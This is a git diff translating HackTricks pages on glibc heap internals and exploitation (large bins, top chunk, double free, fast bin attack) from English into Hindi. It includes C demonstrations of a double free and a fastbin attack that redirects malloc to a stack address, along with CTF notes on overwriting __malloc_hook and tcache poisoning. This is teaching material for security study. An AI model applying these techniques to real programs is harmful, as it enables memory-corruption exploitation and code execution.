<= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +एक बड़ा उदाहरण जोड़ें ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +2 बड़े आवंटन किए जाते हैं, फिर एक को मुक्त किया जाता है (इसे अनसॉर्टेड बिन में डालते हुए) और एक बड़ा आवंटन किया जाता है (मुक्त एक को अनसॉर्टेड बिन से बड़े बिन में ले जाते हुए)। -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक टुकड़ा बड़े बिन में है: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### शीर्ष भाग ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +बुनियादी रूप से, यह सभी वर्तमान में उपलब्ध हीप का एक टुकड़ा है। जब malloc किया जाता है, यदि उपयोग करने के लिए कोई उपलब्ध मुक्त टुकड़ा नहीं है, तो यह शीर्ष टुकड़ा अपना आकार घटा देगा आवश्यक स्थान देने के लिए।\ +Top Chunk का पॉइंटर `malloc_state` संरचना में संग्रहीत होता है। -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +इसके अलावा, शुरुआत में, शीर्ष टुकड़े के रूप में असंरचित टुकड़े का उपयोग करना संभव है।
-Observe the Top Chunk example - +Top Chunk उदाहरण पर ध्यान दें ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +`main` के `ret` ऑपकोड में ब्रेक पॉइंट के साथ इसे संकलित और डिबग करने के बाद, मैंने देखा कि malloc ने पता `0xaaaaaaac12a0` लौटाया और ये हैं चंक्स: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +जहाँ यह देखा जा सकता है कि शीर्ष चंक का पता `0xaaaaaaac1ae0` है। यह कोई आश्चर्य की बात नहीं है क्योंकि अंतिम आवंटित चंक `0xaaaaaaac12a0` में था जिसका आकार `0x410` था और `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`।\ +यह भी संभव है कि शीर्ष चंक की लंबाई इसके चंक हेडर पर देखी जा सके: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### अंतिम शेष -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +जब malloc का उपयोग किया जाता है और एक चंक को विभाजित किया जाता है (उदाहरण के लिए, अनसॉर्टेड बिन से या टॉप चंक से), तो विभाजित चंक के शेष से बनाए गए चंक को अंतिम शेष कहा जाता है और इसका पॉइंटर `malloc_state` संरचना में संग्रहीत होता है। -## Allocation Flow +## आवंटन प्रवाह -Check out: +देखें: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## मुक्त प्रवाह -Check out: +देखें: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## हीप फ़ंक्शंस सुरक्षा जांच -Check the security checks performed by heavily used functions in heap in: +हीप में भारी उपयोग किए जाने वाले फ़ंक्शंस द्वारा किए गए सुरक्षा जांचों की जांच करें: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## संदर्भ - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..eef97368b 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -1,90 +1,88 @@ -# Double Free +# डबल फ्री {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +यदि आप एक मेमोरी ब्लॉक को एक से अधिक बार फ्री करते हैं, तो यह आवंटक के डेटा को गड़बड़ कर सकता है और हमलों के लिए दरवाजा खोल सकता है। यह कैसे होता है: जब आप एक मेमोरी ब्लॉक को फ्री करते हैं, तो यह फ्री चंक्स की सूची में वापस चला जाता है (जैसे "फास्ट बिन")। यदि आप एक ही ब्लॉक को लगातार दो बार फ्री करते हैं, तो आवंटक इसे पहचानता है और एक त्रुटि फेंकता है। लेकिन यदि आप **बीच में एक और चंक फ्री करते हैं, तो डबल-फ्री जांच को बायपास किया जाता है**, जिससे भ्रष्टाचार होता है। -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +अब, जब आप नई मेमोरी के लिए पूछते हैं (using `malloc`), तो आवंटक आपको एक **ब्लॉक दे सकता है जिसे दो बार फ्री किया गया है**। इससे दो अलग-अलग पॉइंटर्स एक ही मेमोरी स्थान की ओर इशारा कर सकते हैं। यदि एक हमलावर उन पॉइंटर्स में से एक को नियंत्रित करता है, तो वे उस मेमोरी की सामग्री को बदल सकते हैं, जो सुरक्षा समस्याओं का कारण बन सकता है या यहां तक कि उन्हें कोड निष्पादित करने की अनुमति भी दे सकता है। +उदाहरण: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +इस उदाहरण में, कई मुक्त चंक्स (7) के साथ tcache भरने के बाद, कोड **चंक `h` को मुक्त करता है, फिर चंक `i` को, और फिर `h` को फिर से, जिससे एक डबल फ्री होती है** (जिसे Fast Bin डुप भी कहा जाता है)। यह पुनः आवंटन के समय ओवरलैपिंग मेमोरी पते प्राप्त करने की संभावना खोलता है, जिसका अर्थ है कि दो या अधिक पॉइंटर्स एक ही मेमोरी स्थान की ओर इशारा कर सकते हैं। एक पॉइंटर के माध्यम से डेटा को हेरफेर करने से दूसरे पर प्रभाव पड़ सकता है, जिससे एक महत्वपूर्ण सुरक्षा जोखिम और शोषण की संभावना उत्पन्न होती है। -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. - -Executing it, note how **`i1` and `i2` got the same address**: +इसे निष्पादित करते समय, ध्यान दें कि **`i1` और `i2` को वही पता मिला**:
Initial allocations:
 a: 0xaaab0f0c22a0
@@ -112,18 +110,18 @@ h1: 0xaaab0f0c2380
 ## Examples
 
 - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
-  - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
-  - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
-  - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
-  - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
+- हम केवल Fast-Bin आकार के चंक्स आवंटित कर सकते हैं सिवाय आकार `0x70` के, जो सामान्य `__malloc_hook` ओवरराइट को रोकता है।
+- इसके बजाय, हम Fast Bin डुप के लिए लक्ष्य के रूप में `0x56` से शुरू होने वाले PIE पते का उपयोग करते हैं (1/2 मौका)।
+- एक स्थान जहाँ PIE पते संग्रहीत होते हैं वह `main_arena` में है, जो Glibc के अंदर है और `__malloc_hook` के पास है।
+- हम `main_arena` के एक विशिष्ट ऑफसेट को लक्षित करते हैं ताकि वहां एक चंक आवंटित किया जा सके और `__malloc_hook` तक पहुँचने के लिए चंक्स को आवंटित करना जारी रखें ताकि कोड निष्पादन प्राप्त किया जा सके।
 - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
-  - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
-    - We allocate three chunks of size `0x110` (`A`, `B`, `C`)
-    - We free `B`
-    - We free `A` and allocate again to use the null-byte overflow
-    - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
-    - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
-  - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
+- Tcache बिन और एक नल-बाइट ओवरफ्लो का उपयोग करके, हम एक डबल-फ्री स्थिति प्राप्त कर सकते हैं:
+- हम आकार `0x110` के तीन चंक्स (`A`, `B`, `C`) आवंटित करते हैं
+- हम `B` को मुक्त करते हैं
+- हम `A` को मुक्त करते हैं और नल-बाइट ओवरफ्लो का उपयोग करने के लिए फिर से आवंटित करते हैं
+- अब `B` का आकार क्षेत्र `0x100` है, `0x111` के बजाय, इसलिए हम इसे फिर से मुक्त कर सकते हैं
+- हमारे पास आकार `0x110` का एक Tcache-बिन और आकार `0x100` का एक है जो एक ही पते की ओर इशारा करता है। इसलिए हमारे पास एक डबल फ्री है।
+- हम [Tcache poisoning](tcache-bin-attack.md) का उपयोग करके डबल फ्री का लाभ उठाते हैं।
 
 ## References
 
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index c36c675de..1a5ca662f 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -4,16 +4,15 @@
 
 ## Basic Information
 
-For more information about what is a fast bin check this page:
+फास्ट बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
-
-As summary:
+चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिनों की तुलना में सुरक्षा बहुत कम है और केवल **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **बाद में किसी भी मेमोरी पते पर एक चंक आवंटित किया जा सके**।
 
+सारांश के रूप में:
 ```c
 ptr0 = malloc(0x20);
 ptr1 = malloc(0x20);
@@ -29,9 +28,7 @@ free(ptr1)
 ptr2 = malloc(0x20); // This will get ptr1
 ptr3 = malloc(0x20); // This will get a chunk in the 
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +आप एक बहुत अच्छी तरह से समझाए गए कोड में एक पूरा उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) पर पा सकते हैं: ```c #include #include @@ -39,115 +36,108 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> यदि वैश्विक चर **`global_max_fast`** के मान को एक बड़े नंबर से ओवरराइट करना संभव है, तो यह बड़े आकार के फास्ट बिन चंक्स उत्पन्न करने की अनुमति देता है, जो संभावित रूप से उन परिदृश्यों में फास्ट बिन हमले करने की अनुमति देता है जहाँ पहले यह संभव नहीं था। यह स्थिति [large bin attack](large-bin-attack.md) और [unsorted bin attack](unsorted-bin-attack.md) के संदर्भ में उपयोगी है। -## Examples +## उदाहरण - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the 